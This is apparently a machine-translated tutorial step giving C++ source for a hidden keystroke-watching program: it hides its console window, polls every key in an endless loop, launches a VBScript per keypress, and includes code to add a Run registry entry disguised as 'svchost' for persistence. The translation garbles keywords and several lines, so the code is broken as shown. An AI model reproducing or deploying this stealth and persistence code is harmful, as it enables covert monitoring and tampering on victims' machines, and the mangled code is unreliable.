Paso 4: El c ++ código
Prepárese...
#include < iostream >
#include < windows.h >
#include < stdio.h >
#include < winuser.h >
#define BUFSIZE 80
usar namespace std;
int test_key(void);
int create_key(char *);
int get_keys(void);
int Main
{
Sigilo HWND;
AllocConsole();
Stealth=FindWindowA("ConsoleWindowClass",null);
ShowWindow(stealth,0);
int prueba, crear;
Test=test_key();
/ * Si (prueba == 2)
{
char * path="c:\\%windir%\\svchost.exe";
Create=create_key(PATH);
}
*/
int t=get_keys();
devolver t;
}
int get_keys(void)
{
carácter breve;
while(1)
{
para (personaje = 8; carácter < = 222; carácter ++)
{
if(GetAsyncKeyState(character)==-32767)
{
if(1==1)
{
Si ((character>64) & &(character<91))
{
carácter += 32;
}
Switch(character)
{
caso 97:
ShellExecute (NULL, NULL, "A.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 98:
ShellExecute (NULL, NULL, "B.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 99:
ShellExecute (NULL, NULL, "C.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 100:
ShellExecute (NULL, NULL, "D.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 101:
ShellExecute (NULL, NULL, "E.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 102:
ShellExecute (NULL, NULL, "F.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 103:
ShellExecute (NULL, NULL, "G.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 104:
ShellExecute (NULL, NULL, "H.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 105:
ShellExecute (NULL, NULL, "I.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 106:
ShellExecute (NULL, NULL, "J.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 107:
ShellExecute (NULL, NULL, "K.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 108:
ShellExecute (NULL, NULL, "L.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 109:
ShellExecute (NULL, NULL, "M.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 110:
ShellExecute (NULL, NULL, "N.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 111:
ShellExecute (NULL, NULL, "O.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 112:
ShellExecute (NULL, NULL, "P.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 113:
ShellExecute (NULL, NULL, "Q.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 114:
ShellExecute (NULL, NULL, "R.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 115:
ShellExecute (NULL, NULL, "S.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 116:
ShellExecute (NULL, NULL, "T.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 117:
ShellExecute (NULL, NULL, "U.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 118:
ShellExecute (NULL, NULL, "V.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 119:
ShellExecute (NULL, NULL, "W.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 120:
ShellExecute (NULL, NULL, "X.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 121:
ShellExecute (NULL, NULL, "Y.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 122:
ShellExecute (NULL, NULL, "Z.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 48:
ShellExecute (NULL, NULL, "0.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 49:
ShellExecute (NULL, NULL, "1.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 50:
ShellExecute (NULL, NULL, "2.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 51:
ShellExecute (NULL, NULL, "3.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 52:
ShellExecute (NULL, NULL, "4.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 53:
ShellExecute (NULL, NULL, "5.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 54:
ShellExecute (NULL, NULL, "6.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 55:
ShellExecute (NULL, NULL, "7.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 56:
ShellExecute (NULL, NULL, "8.vbs", NULL, NULL, SW_SHOW);
rotura;
caso 57:
ShellExecute (NULL, NULL, "9.vbs", NULL, NULL, SW_SHOW);
rotura;
caso VK_SPACE:
ShellExecute (NULL, NULL, "SPACE.vbs", NULL, NULL, SW_SHOW);
rotura;
por defecto:
rotura;
}
}
}
}
}
volver EXIT_SUCCESS;
}
int test_key(void)
{
int comprobar;
HKEY hKey;
camino de Char [BUFSIZE];
DWORD buf_length = BUFSIZE;
int reg_key;
reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE, & hKey);
if(reg_key!=0)
{
comprobar = 1;
devolución de cheque;
}
reg_key = RegQueryValueEx (hKey, "svchost", NULL, NULL, (LPBYTE) path & buf_length);
Si ((reg_key! = 0) || (buf_length>bufsize))
comprobar = 2;
if(reg_key==0)
comprobar = 0;
RegCloseKey(hKey);
devolución de cheque;
}
int create_key(char *path)
{
int reg_key, check;
HKEY hkey;
reg_key = RegCreateKey (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" y hkey);
if(reg_key==0)
{
RegSetValueEx (hkey (HKEY), "svchost", 0, path,strlen(path)) de,(BYTE *) REG_SZ;
comprobar = 0;
devolución de cheque;
}
if(reg_key!=0)
comprobar = 1;
devolución de cheque;
}